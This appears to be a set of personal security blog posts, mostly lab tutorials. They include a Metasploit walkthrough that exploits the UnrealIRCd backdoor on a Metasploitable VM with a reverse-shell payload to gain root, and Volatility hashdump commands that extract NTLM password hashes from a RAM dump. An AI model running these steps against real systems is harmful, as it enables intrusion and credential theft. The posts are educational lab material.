Computer Hacking is LEGAL @ GCHQ

1.  Privacy International , a UK-based registered charity that defends and promotes the right to privacy across the world, lost a case challenging RIGHT TO PRIVACY.

 

So as it stands the GCHQ now has a official tick to itself forcing into hacking devices to obtain intelligence thereby ensuring National Security interests.The court ruled in favor of GCHQ and thus for the first time the GCHQ has confirmed that it has been associated with hacking into IT and computer devices which till date were only thought in anticipation or were believed right based on the NSA whistle blower Edward Snowden.

 Source : http://www.wired.co.uk/news/archive/2015-03/20/gchq-hacking-faq

Source : http://www.wired.co.uk/news/archive/2015-03/20/gchq-hacking-faq

2.   An extract produced as follows from http://www.bbc.com/news/uk-politics-35558349

"Hackers can remotely activate cameras and microphones on devices, without the owner's knowledge, log keystrokes, install malware, copy documents and track locations among other things"

3.   Another extract produced below from the Investigatory  Powers Tribunal (IPT) complete copy of which is available for reading at http://www.ipt-uk.com/docs/Privacy_Greennet_and_Sec_of_State%20.pdf reads as follows :

 

"The use of computer network exploitation by GCHQ, now avowed, has obviously raised a number of serious questions, which we have done our best to resolve in this Judgment. Plainly it again emphasises the requirement for a balance to be drawn between the urgent need of the Intelligence Agencies to safeguard the public and the protection of an individual's privacy and/or freedom of expression."

3.   How much of this stands right or wrong irrespective,but one thing has come out large and clear....there stands no privacy while anyone is on the net...whatever you may do or attempt from your mobile device or the computer,nothing is yours.....

Detecting Firmware Infection : Prelim start@Google's VIRUSTOTAL

1.   The severity in cases where firmware is already infected at the time of first purchase by the user is now being realized over the years. Be it the Dell server case , Seagate firmware case , Equation Group , Proof of Concept for even Macs , NSA revelations by Snowden and the list is pretty long to workout.Over various discussions and forums I read across I could never get any kind of implementing a solution to detect a threat at the firmware level not before I read about about the first such attempt via Google VirusTotal.

2.   Google’s VirusTotal service has come-out with a new tool that analyzes firmware, the low-level code that bridges a computer’s hardware and operating system at startup. The new tool will label firmware images as either legitimate or suspicious. It can also extract certificates attached to firmware and if there are other executable files inside of it. The tool can extract portable executables (PEs) inside firmware since these could sometimes be a source of malicious behavior. 

“These executables are extracted and submitted individually to VirusTotal, such that the user can eventually see a report for each one of them and perhaps get a notion of whether there is something fishy in their BIOS image,” Santos wrote. 

3.   It will now be possible for people to extract their own firmware and submit it to VirusTotal, which has the potential to create a database of various firmware images that could contribute to research into bad ones. 

4.    No details could be fetched across of how it actually works.But happy about there being a kind of first.More options wil arise after this circulates around and we have a secure eco-system of web.

NULL MEET - OWASP : HARDWARE TROJANS

1.    null is India's largest open security community. It is registered as a non-profit society in 2010 and has been active since even before that. null is about spreading information security awareness. Activites such as null Monthly Meets, null Humla, null Bachaav, null Puliya, null Job Portal are for the overall cause of spreading awareness on the evolving cyber threat.

2.  In my continued association with the community I had recently given a presentation on Hardware Trojans which is shared below for info.

   HARDWARE TROJANS

DICE-2015 : CLOUD FORENSICS : Digital Investigations Conference and Exhibition

DICE is the Digital Investigations Conference and Exhibition which is held annually in the Delhi/NCR region in India.It is the only Conference and Exhibition of its kind in all of South Asia. It is targeted towards Digital Investigations and Computer Forensics personnel. At this conference experts showcase best practices, case studies and experiences in dealing with both cyber and conventional crime and security incidents with the help of digital technologies. It is attended by law enforcement, government and corporate investigation professionals. I participated in the conference as a speaker on the topic CLOUD FORENSICS.The presentation brings out the primary challenges in the domain of Cloud Computing.

Event Website : http://www.digitalinvestigatorsassociation.org/dice2015/index.html

   Cloud Forensics: Challenges only Ahead by Anupam Tiwari

Few Pics from the conference sharing below :

Kali Linux 2 : Putting SCANNERS at work

1.    In this post we get introduced to built in scanners that come preloaded with Metasploit in Kali Linux that let us search and recover service information from a single computer or an entire network.We assume the same setup of virtual machines as in my past post at http://anupriti.blogspot.in/2015/10/irc-exploit-tutorial-to-hack-into-root.html

SETTING UP THE VIRTUAL MACHINES

Exactly the same setup as I followed at the post at http://anupriti.blogspot.in/2015/10/irc-exploit-tutorial-to-hack-into-root.html

Virtual Machine One,VM1  : Kali Linux 2 @ 192.168.56.102

Virtual Machine Two,VM2 : Metasploitable 2 @ 192.168.56.103

Machines pinging each other...please check before proceeding ahead

Using SCANNERS to gain info

To find scanners available in Kali Linux,just run “msfconsole” from Kali command prompt and then type “search scanner” at the prompt as below :

msf > search scanner

U get something like this as seen below which is actually trimmed shot as the complete out is pretty exhaustive.

CLICK TO ENLARGE

nmap the metasploitable machine...as we did earlier and we get this screen as below :

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Let’s focus on Port 22 ie Secure Shell (ssh) and thus search Metasploit for ssh scanners as follows :

SSH

At msf terminals type : search scanner/ssh

Click to ENLARGE

We see from above about six of them and in these there is one looking for version information ie the “auxiliary/scanner/ssh/ssh_version” module.Will use this to find the version info as follows :

- Type, “use auxiliary/scanner/ssh/ssh_version” at the terminal of msf

- Then type “show options”

- set RHOSTS  

- Type “exploit” to run.

From above we see that the victim is running an SSH server and the software version is 

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu

Mysql

But the above comes with a exclamation too...if we run mysql version query,then too we get some result that's different as seen below :

Click to ENLARGE

The scan reveals that MySQL 5.0.51.a-3ubuntu5 is running as seen in the shot above.

telnet

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Highlighted text “Login with msfadmin/msfadmin to get started”, actually gives login credentials on the Telnet page....these kinds of security holes actually exists in the real world..real web at so many web sites....

smb

The above gives the SAAMBA version

IRC Exploit tutorial to hack into ROOT shell : Metasploitable 2 - Kali LInux 2

1.  root is the user name that by default has access to all commands and files on a Linux or other Unix-like operating system. It is also referred to as the root account, root user and the superuser.For the hackers and cyber criminals,getting to root shell is the key to start doing the undesired.There are thousands of ways and options to get to this vide various exploits,tricks and hacks.In this post I give a step by step with screenshot guide to get to "root" of a Metasploitable machine from a Kali Linux machine.The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.This would come handy for beginners in this domain.I have two virtual machines for this test including one Metasploitable and one Kali Linux.

Setting up the Virtual Machines

Firstly,we need to configure the host only adapter settings as shown below in the Virtual box.

Click on Network - Host only networks tab and then "Add host only adapter" as shown below :

Edit the settings of the Host only adapter

Configure the IP address to any range as you desire.I have set up as seen below :

Now I have configured my VM Kali as per the following settings shown :

The Metasploitable machine configured as seen below :

Checking PING between the two machines : 

Playing with the setup : Running tools and exploits

The first thing to do is to run an nmap scan and see what services are running.At the terminal window on your Kali system,type the following :

nmap -sS -Pn

In our the Metasploitable Machine IP is 192.168.56.103.The “-sS” switch in the above command asks nmap to perform a stealth scan. The “-Pn” tells nmap not to run a ping scan to see what systems are up

Running nmap command with the “-A” switch, will perform OS detection and try to determine service versions.Running the command wil give us a screen output something like as shown below : 

nmap -sS -Pn -A 192.168.56.103

There are also a lot of services running as seen above but the one in particular we are interested is an Unreal Internet Relay Chat (IRC) program as highlighted below.In the screenshot below we see the software version, in this case “Unreal IRC 3.2.8.1′′. Our next step is to use Metasploit to exploit the vulnerability.

Get to the Kali terminal and type msfconsole to get this screen as seen below : 

The basic sequence of exploiting a vulnerability goes as shown below :

- Picking an Exploit

- Setting Exploit Options

- Picking a Payload

- Setting Payload Options

- Running the Exploit

- Connecting to the Remote System

Going further now at the msf terminal type : use exploit/unix/irc/unreal_ircd_3281_backdoor

Next we need to set the RHOST as per the following terminal command:

RHOST 192.168.198.145(Metasploitable IP address )

At the msf terminal,type “show payloads” to display all payloads that work with the exploit:

Now we will use the generic reverse shell. This will give us the terminal shell with the target when the exploit is finished.Type the following at the msf terminal:

set payload cmd/unix/reverse

Show options command further will give the current settings as configured :

So we see above LHOST remains to be configured and we configure it now as follows :

Running the show options command again shows the configured setup as desired : 

and now the final bullet...simply type : exploit at the msf terminal

and here you are...right at the terminal@root

Just make a directory for testing it at the victim Metasploitable machine.I have made by the name of anupam and we see the same at the second terminal window seen in the screenshot below :

...that's it guys...any questions...most welcome...

segmentation fault Kali Linux 2.0 [solved]

Kali Linux 2.0,the well known Penetration testing distro contains a plethora for digital forensics tools and is widely used by ethical hacker community across the globe.It comes with over 650 tools pre-installed that help  perform tasks like network analysis, ethical hacking, load & crash testing etc. It is powered by Linux kernel 4.0 and has enhanced support for different graphics cards and desktop environments.However ,a small bug as I noticed running two regular commands as apt-get update and msfupdate. Used to get the segmentation fault error as seen below in the screen shot :

Resolved by running the following commands at terminal to open sources.list  file

root@kali:~# leafpad /etc/apt/sources.list

As the file opens, simply select all the existing content in the file and delete it.Further to it cut and paste the following lines in the file and save :  

# Regular repositories

deb http://http.kali.org/kali sana main non-free contrib

deb http://security.kali.org/kali-security sana/updates main contrib non-free

# Source repositories

deb-src http://http.kali.org/kali sana main non-free contrib

deb-src http://security.kali.org/kali-security sana/updates main contrib non-free

and now it should work just as it worked in my case as seen below :

MY Blog hits : 3,00,000 plus :-)

Exactly about a year back my blog got the 2,00,000th hit and today it is 3,00,000 plus. So I assume an ok traffic since technical blogs do not have the glamorous and mass factor associated....I got into blogging without knowing any thing about traffic and readers and then maintaining a blog when you are working also is at times difficult.This actually means the time you could have spent with your family is being spent on blogging.But then as we say "Purpose is the reason you journey and Passion is the fire that lights your way."...and so has been applicable to me.Simply the passion to study and share IT and experiment with tools and researches has been the force for my energies being put in here.Putting here some past shots and analytics ex Google :

20 Oct 2015

 05 Oct 2013

 02 Nov 2014

FEW STATS STRAIGHT FROM GOOGLE ANALYTICS

Increase over years

 Page  views by countries

 

Page-views by Browsers

 Page  views by Operating Systems

Extracting Username/Passwords from RAM Dump : Volatility Framework makes it Easy

1.  For those of you who have started reading this post coz of the tempting post title claiming extracting username/passwords from a RAM Dump,I must assure you it is possible easily in few steps using Volatility Framework.In the post ahead I have a RAM dump of a Windows 7 OS and I have been able to extract the user names and passwords of these users in three simple steps using Volatility Framework.Well,I will quickly get to the steps with screenshots :

Setup Required

 - Volatility Framework Installed.
[How to Install at http://anupriti.blogspot.in/2015/09/volatility-advanced-memory-forensics.html]

- Taking Ram Dump from Windows
[How to take RAM dump at para 3 of http://anupriti.blogspot.in/2015/09/volatility-command-using-imageinfo-to.html]

Here I am using two commands basically ie hivelist and hashdump

HIVELIST

Hivelist is used to locate the virtual addresses of registry hives in memory, and the full paths to the corresponding hive on disk.

Command Usage

python vol.py --profile=Win7SP0x86 -f /home/cuckoo/Desktop/windows_7_ramdump.raw hivelist

You get a similar output as seen below :

CLICK TO ENLARGE

Note Virtual Address for SYSTEM as highlighted
CLICK TO ENLARGE

Note Virtual Address for SAM as highlighted
CLICK TO ENLARGE

HASHDUMP

Hashdump is used to extract and decrypt cached domain credentials stored in the registry.

Command Usage

To use hashdump, pass the virtual address of the SYSTEM hive as -y and the virtual address of the SAM hive as -s, as shown below:

python vol.py --profile=Win7SP0x86 hashdump -f /home/cuckoo/Desktop/windows_7_ramdump.raw -y 0x8901a360 -s 0x8faff008

Hashdump output seen with user names and NTLM dump
CLICK TO ENLARGE

As we see vide above screen shot we have been able to extract names of users as stalin,VOLA and TILITY with hash of passwords against their names.Now we will decrypt these hashes.

DECRYPTING NTLM hash

Now comes decrypting this hash as we have got vide hashdump above.Hashes can now be cracked using John the Ripper, rainbow tables, etc.Now no need to install these crackers separately.Simply google for online decryptos and you will get the password too.I used this site at http://www.hashkiller.co.uk/ntlm-decrypter.aspx

Screen shots below:

Password extracted is test_1234
CLICK TO ENLARGE

Password extracted is test_123
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Password extracted is test
CLICK TO ENLARGE

So in all two terminal commands running volatility hivelist and hashdump followed by decrypting the hash online will give you the usernames and passwords from the RAM dump.Any queries and questions or advises are most welcome.Thanks